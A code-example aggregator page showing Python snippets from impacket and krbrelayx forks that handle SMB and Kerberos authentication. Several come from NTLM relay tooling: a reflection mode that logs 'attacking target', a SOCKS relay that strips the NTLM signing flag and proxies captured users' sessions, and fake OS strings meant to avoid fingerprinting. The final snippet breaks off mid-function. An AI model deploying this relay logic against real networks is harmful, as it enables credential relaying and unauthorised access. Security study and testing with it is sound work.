コード例 #1
0
    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE


        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize']        = 65535
        sessionSetup['Parameters']['MaxMpxCount']          = 2
        sessionSetup['Parameters']['VcNumber']             = 1
        sessionSetup['Parameters']['SessionKey']           = 0
        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        blob['MechToken'] = str(negotiateMessage)

        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
        sessionSetup['Parameters'].getData()
        sessionSetup['Data']['SecurityBlob']       = blob.getData()

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS']      = 'Unix'
        sessionSetup['Data']['NativeLanMan']  = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse   = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            return respToken['ResponseToken']
コード例 #2
0
ファイル: smbrelayclient.py プロジェクト: RenePM/impacket
    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        # Let's build a NegTokenInit with the NTLMSSP
        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]
        blob['MechToken'] = str(negotiateMessage)

        sessionSetup['SecurityBufferLength'] = len(blob)
        sessionSetup['Buffer'] = blob.getData()

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
            return respToken['ResponseToken']

        return False
コード例 #3
0
    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        # Let's build a NegTokenInit with the NTLMSSP
        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        blob['MechToken'] = negotiateMessage

        sessionSetup['SecurityBufferLength'] = len(blob)
        sessionSetup['Buffer'] = blob.getData()

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
            return respToken['ResponseToken']

        return False
コード例 #4
0
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split(b'\x02')
            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('Client does not support SMB2, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = SPNEGO_NegTokenInit()
        blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
                             TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]


        respSMBCommand['Buffer'] = blob.getData()
        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS
コード例 #5
0
ファイル: smb.py プロジェクト: y0d4a/impacket
    def getNegoAnswer(recvPacket):
        smbCommand = SMBCommand(recvPacket['Data'][0])
        respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)

        resp = NewSMBPacket()
        resp['Flags1'] = SMB.FLAGS1_REPLY
        resp['Pid'] = recvPacket['Pid']
        resp['Tid'] = recvPacket['Tid']
        resp['Mid'] = recvPacket['Mid']

        dialects = smbCommand['Data'].split('\x02')
        index = dialects.index('NT LM 0.12\x00') - 1
        # Let's fill the data for NTLM
        if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:
            resp[
                'Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
            _dialects_data = SMBExtended_Security_Data()
            _dialects_data['ServerGUID'] = 'A' * 16
            blob = SPNEGO_NegTokenInit()
            blob['MechTypes'] = [
                TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
            ]
            _dialects_data['SecurityBlob'] = blob.getData()

            _dialects_parameters = SMBExtended_Security_Parameters()
            _dialects_parameters[
                'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE
            _dialects_parameters['ChallengeLength'] = 0

        else:
            resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
            _dialects_parameters = SMBNTLMDialect_Parameters()
            _dialects_data = SMBNTLMDialect_Data()
            _dialects_data['Payload'] = ''
            _dialects_data['Challenge'] = '\x11\x22\x33\x44\x55\x66\x77\x88'
            _dialects_parameters['ChallengeLength'] = 8
            _dialects_parameters[
                'Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS

        _dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS
        _dialects_parameters['DialectIndex'] = index
        _dialects_parameters[
            'SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER
        _dialects_parameters['MaxMpxCount'] = 1
        _dialects_parameters['MaxNumberVcs'] = 1
        _dialects_parameters['MaxBufferSize'] = 64000
        _dialects_parameters['MaxRawSize'] = 65536
        _dialects_parameters['SessionKey'] = 0
        _dialects_parameters['LowDateTime'] = 0
        _dialects_parameters['HighDateTime'] = 0
        _dialects_parameters['ServerTimeZone'] = 0

        respSMBCommand['Data'] = _dialects_data
        respSMBCommand['Parameters'] = _dialects_parameters

        resp.addCommand(respSMBCommand)

        return resp
コード例 #6
0
ファイル: smbrelayclient.py プロジェクト: 0xc0da/impacket
    def sendNegotiate(self, negotiateMessage):
        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 
        # Are we required to sign SMB? If so we do it, if not we skip it
        if self._SignatureRequired: 
           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
          

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize']        = 65535
        sessionSetup['Parameters']['MaxMpxCount']          = 2
        sessionSetup['Parameters']['VcNumber']             = 1
        sessionSetup['Parameters']['SessionKey']           = 0
        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        blob = SPNEGO_NegTokenInit() 

        # NTLMSSP
        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        blob['MechToken'] = str(negotiateMessage)

        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
        sessionSetup['Parameters'].getData()
        sessionSetup['Data']['SecurityBlob']       = blob.getData()

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS']      = 'Unix'
        sessionSetup['Data']['NativeLanMan']  = 'Samba'

        smb.addCommand(sessionSetup)
        self.sendSMB(smb)
        smb = self.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            logging.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            self._uid = smb['Uid']

            # Now we have to extract the blob to continue the auth process
            sessionResponse   = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            return respToken['ResponseToken']
コード例 #7
0
ファイル: kerberos.py プロジェクト: IMULMUL/krbrelayx
def build_apreq(domain, kdc, tgt, username, serviceclass, hostname):
    # Build a protocol agnostic AP-REQ using the TGT we have, wrapped in GSSAPI/SPNEGO
    username = Principal(username,
                         type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    servername = Principal('%s/%s' % (serviceclass, hostname),
                           type=constants.PrincipalNameType.NT_SRV_INST.value)
    tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
                                                tgt['KDC_REP'], tgt['cipher'],
                                                tgt['sessionKey'])

    # Let's build a NegTokenInit with a Kerberos AP_REQ
    blob = SPNEGO_NegTokenInit()

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])

    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = []
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq, 'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = domain
    seq_set(authenticator, 'cname', username.components_to_asn1)
    now = datetime.datetime.utcnow()

    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11,
                                                   encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    blob['MechToken'] = encoder.encode(apReq)
    return blob.getData()
コード例 #8
0
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(
                singleTarget='SMB://%s:445/' % connData['ClientIP'])

        self.target = self.targetprocessor.getTarget()

        LOG.info(
            "SMBD-%s: Received connection from %s, attacking target %s://%s" %
            (connId, connData['ClientIP'], self.target.scheme,
             self.target.netloc))

        try:
            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split(b'\x02')
            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('SMB2 not supported, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = b(''.join(
            [random.choice(string.ascii_letters) for _ in range(16)]))
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = SPNEGO_NegTokenInit()
        blob['MechTypes'] = [
            TypesMech[
                'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]

        respSMBCommand['Buffer'] = blob.getData()
        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS
コード例 #9
0
    def processSessionSetup(self, recvPacket):

        if self.isSMB2 is False:
            respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            smbCommand = SMBCommand(recvPacket['Data'][0])

            if smbCommand['WordCount'] == 12:
                respParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
                )
                respData = SMBSessionSetupAndX_Extended_Response_Data()

                # First of all, we should received a type 1 message. Let's answer it
                # NEGOTIATE_MESSAGE
                challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
                challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = str(challengeMessage)

                respParameters['SecurityBlobLength'] = len(respToken)
                respData['SecurityBlobLength'] = respParameters[
                    'SecurityBlobLength']
                respData['SecurityBlob'] = respToken.getData()

                respData['NativeOS'] = ''
                respData['NativeLanMan'] = ''
                respSMBCommand['Parameters'] = respParameters
                respSMBCommand['Data'] = respData

                resp = NewSMBPacket()
                resp['Flags1'] = SMB.FLAGS1_REPLY
                resp['Flags2'] = SMB.FLAGS2_NT_STATUS
                resp['Pid'] = recvPacket['Pid']
                resp['Tid'] = recvPacket['Tid']
                resp['Mid'] = recvPacket['Mid']
                resp['Uid'] = 0
                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                resp['ErrorCode'] = errorCode >> 16
                resp['ErrorClass'] = errorCode & 0xff
                resp.addCommand(respSMBCommand)

                self.__NBSession.send_packet(resp.getData())
                recvPacket, smbCommand = self.getSMBPacket()

                sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(
                    smbCommand['Parameters'])
                sessionSetupData = SMBSessionSetupAndX_Extended_Data()
                sessionSetupData[
                    'SecurityBlobLength'] = sessionSetupParameters[
                        'SecurityBlobLength']
                sessionSetupData.fromString(smbCommand['Data'])

                if unpack('B',
                          sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
                    # If there no GSSAPI ID, it must be an AUTH packet
                    blob = SPNEGO_NegTokenResp(
                        sessionSetupData['SecurityBlob'])
                    token = blob['ResponseToken']
                else:
                    # NEGOTIATE packet
                    blob = SPNEGO_NegTokenInit(
                        sessionSetupData['SecurityBlob'])
                    token = blob['MechToken']

                # Now we should've received a type 3 message
                authenticateMessage = NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                try:
                    username = (
                        '%s/%s' %
                        (authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le'))
                    ).upper()
                except UnicodeDecodeError:
                    # Not Unicode encoded?
                    username = ('%s/%s' %
                                (authenticateMessage['domain_name'],
                                 authenticateMessage['user_name'])).upper()

                # Check if we have a connection for the user
                if self.activeRelays.has_key(username):
                    LOG.info('SOCKS: Proxying client session for %s@%s(445)' %
                             (username, self.targetHost))
                    errorCode = STATUS_SUCCESS
                    smbClient = self.activeRelays[username][
                        'protocolClient'].session
                    uid = smbClient.getSMBServer().get_uid()
                else:
                    LOG.error('SOCKS: No session for %s@%s(445) available' %
                              (username, self.targetHost))
                    errorCode = STATUS_ACCESS_DENIED
                    uid = 0
                    smbClient = None

                resp = NewSMBPacket()
                resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY
                resp['Flags2'] = recvPacket[
                    'Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY
                resp['Command'] = recvPacket['Command']
                resp['Pid'] = recvPacket['Pid']
                resp['Tid'] = recvPacket['Tid']
                resp['Mid'] = recvPacket['Mid']
                resp['Uid'] = uid
                resp['ErrorCode'] = errorCode >> 16
                resp['ErrorClass'] = errorCode & 0xff
                respData['NativeOS'] = ''
                respData['NativeLanMan'] = ''

                if uid == 0:
                    resp['Data'] = '\x00\x00\x00'
                    smbClient = None
                else:
                    respToken = SPNEGO_NegTokenResp()
                    # accept-completed
                    respToken['NegResult'] = '\x00'
                    respParameters['SecurityBlobLength'] = len(respToken)
                    respData['SecurityBlobLength'] = respParameters[
                        'SecurityBlobLength']
                    respData['SecurityBlob'] = respToken.getData()

                    respSMBCommand['Parameters'] = respParameters
                    respSMBCommand['Data'] = respData
                    resp.addCommand(respSMBCommand)

                self.__NBSession.send_packet(resp.getData())

                return smbClient, username
            else:
                LOG.error(
                    'SOCKS: Can\'t handle standard security at the moment!')
                return None
        else:
            respSMBCommand = SMB2SessionSetup_Response()
            sessionSetupData = SMB2SessionSetup(recvPacket['Data'])

            securityBlob = sessionSetupData['Buffer']

            rawNTLM = False
            if unpack('B', securityBlob[0])[0] == ASN1_AID:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(securityBlob)
                token = blob['MechToken']
                if len(blob['MechTypes'][0]) > 0:
                    # Is this GSSAPI NTLM or something else we don't support?
                    mechType = blob['MechTypes'][0]
                    if mechType != TypesMech[
                            'NTLMSSP - Microsoft NTLM Security Support Provider']:
                        # Nope, do we know it?
                        if MechTypes.has_key(mechType):
                            mechStr = MechTypes[mechType]
                        else:
                            mechStr = hexlify(mechType)
                        LOG.debug(
                            "Unsupported MechType '%s', we just want NTLMSSP, answering"
                            % mechStr)
                        # We don't know the token, we answer back again saying
                        # we just support NTLM.
                        # ToDo: Build this into a SPNEGO_NegTokenResp()
                        respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
                        respSMBCommand['SecurityBufferOffset'] = 0x48
                        respSMBCommand['SecurityBufferLength'] = len(respToken)
                        respSMBCommand['Buffer'] = respToken

                        resp = SMB2Packet()
                        resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
                        resp['Status'] = STATUS_SUCCESS
                        resp['CreditRequestResponse'] = 1
                        resp['CreditCharge'] = recvPacket['CreditCharge']
                        resp['Command'] = recvPacket['Command']
                        resp['SessionID'] = 0
                        resp['Reserved'] = recvPacket['Reserved']
                        resp['MessageID'] = recvPacket['MessageID']
                        resp['TreeID'] = recvPacket['TreeID']
                        resp['Data'] = respSMBCommand

                        self.__NBSession.send_packet(resp.getData())
                        recvPacket, smbCommand = self.getSMBPacket()
                        return self.processSessionSetup(recvPacket)

            elif unpack('B', securityBlob[0])[0] == ASN1_SUPPORTED_MECH:
                # AUTH packet
                blob = SPNEGO_NegTokenResp(securityBlob)
                token = blob['ResponseToken']
            else:
                # No GSSAPI stuff, raw NTLMSSP
                rawNTLM = True
                token = securityBlob

            # NEGOTIATE_MESSAGE
            # First of all, we should received a type 1 message. Let's answer it
            challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
            challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            resp = SMB2Packet()
            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
            resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED
            resp['CreditRequestResponse'] = 1
            resp['CreditCharge'] = recvPacket['CreditCharge']
            resp['Command'] = recvPacket['Command']
            resp['SessionID'] = 0
            resp['Reserved'] = recvPacket['Reserved']
            resp['MessageID'] = recvPacket['MessageID']
            resp['TreeID'] = recvPacket['TreeID']

            respSMBCommand['SecurityBufferOffset'] = 0x48
            respSMBCommand['SecurityBufferLength'] = len(respToken)
            respSMBCommand['Buffer'] = respToken.getData()
            resp['Data'] = respSMBCommand

            self.__NBSession.send_packet(resp.getData())
            recvPacket, smbCommand = self.getSMBPacket()

            sessionSetupData = SMB2SessionSetup(recvPacket['Data'])
            securityBlob = sessionSetupData['Buffer']

            blob = SPNEGO_NegTokenResp(securityBlob)
            token = blob['ResponseToken']

            # AUTHENTICATE_MESSAGE, here we deal with authentication
            authenticateMessage = NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)

            try:
                username = (
                    '%s/%s' %
                    (authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le'))
                ).upper()
            except UnicodeDecodeError:
                # Not Unicode encoded?
                username = ('%s/%s' %
                            (authenticateMessage['domain_name'],
                             authenticateMessage['user_name'])).upper()

            respToken = SPNEGO_NegTokenResp()

            # Check if we have a connection for the user
            if self.activeRelays.has_key(username):
                LOG.info('SOCKS: Proxying client session for %s@%s(445)' %
                         (username, self.targetHost))
                errorCode = STATUS_SUCCESS
                smbClient = self.activeRelays[username][
                    'protocolClient'].session
                uid = smbClient.getSMBServer()._Session['SessionID']
            else:
                LOG.error('SOCKS: No session for %s@%s(445) available' %
                          (username, self.targetHost))
                errorCode = STATUS_ACCESS_DENIED
                uid = 0
                smbClient = None

            # accept-completed
            respToken['NegResult'] = '\x00'

            resp = SMB2Packet()
            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
            resp['Status'] = errorCode
            resp['CreditRequestResponse'] = 1
            resp['CreditCharge'] = recvPacket['CreditCharge']
            resp['Command'] = recvPacket['Command']
            resp['SessionID'] = uid
            resp['Reserved'] = recvPacket['Reserved']
            resp['MessageID'] = recvPacket['MessageID']
            resp['TreeID'] = recvPacket['TreeID']

            respSMBCommand['SecurityBufferOffset'] = 0x48

            # This is important for SAMBA client to work. If it is not set as a guest session,
            # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced).
            respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST
            respSMBCommand['SecurityBufferLength'] = len(respToken)
            respSMBCommand['Buffer'] = respToken.getData()
            resp['Data'] = respSMBCommand

            self.__NBSession.send_packet(resp.getData())
            return smbClient, username
コード例 #10
0
    def getNegoAnswer(self, recvPacket):

        if self.isSMB2 is False:
            smbCommand = SMBCommand(recvPacket['Data'][0])
            respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)

            resp = NewSMBPacket()
            resp['Flags1'] = SMB.FLAGS1_REPLY
            resp['Pid'] = recvPacket['Pid']
            resp['Tid'] = recvPacket['Tid']
            resp['Mid'] = recvPacket['Mid']

            dialects = smbCommand['Data'].split('\x02')
            index = dialects.index('NT LM 0.12\x00') - 1
            # Let's fill the data for NTLM
            if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:
                resp[
                    'Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
                _dialects_data = SMBExtended_Security_Data()
                _dialects_data['ServerGUID'] = 'A' * 16
                blob = SPNEGO_NegTokenInit()
                blob['MechTypes'] = [
                    TypesMech[
                        'NTLMSSP - Microsoft NTLM Security Support Provider']
                ]
                _dialects_data['SecurityBlob'] = blob.getData()

                _dialects_parameters = SMBExtended_Security_Parameters()
                _dialects_parameters[
                    'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE
                _dialects_parameters['ChallengeLength'] = 0

            else:
                resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
                _dialects_parameters = SMBNTLMDialect_Parameters()
                _dialects_data = SMBNTLMDialect_Data()
                _dialects_data['Payload'] = ''
                _dialects_data[
                    'Challenge'] = '\x11\x22\x33\x44\x55\x66\x77\x88'
                _dialects_parameters['ChallengeLength'] = 8
                _dialects_parameters[
                    'Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS

            _dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS
            _dialects_parameters['DialectIndex'] = index
            _dialects_parameters[
                'SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER
            _dialects_parameters['MaxMpxCount'] = 1
            _dialects_parameters['MaxNumberVcs'] = 1
            _dialects_parameters['MaxBufferSize'] = 64000
            _dialects_parameters['MaxRawSize'] = 65536
            _dialects_parameters['SessionKey'] = 0
            _dialects_parameters['LowDateTime'] = 0
            _dialects_parameters['HighDateTime'] = 0
            _dialects_parameters['ServerTimeZone'] = 0

            respSMBCommand['Data'] = _dialects_data
            respSMBCommand['Parameters'] = _dialects_parameters

            resp.addCommand(respSMBCommand)
        else:
            resp = SMB2Packet()
            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
            resp['Status'] = STATUS_SUCCESS
            resp['CreditRequestResponse'] = 1
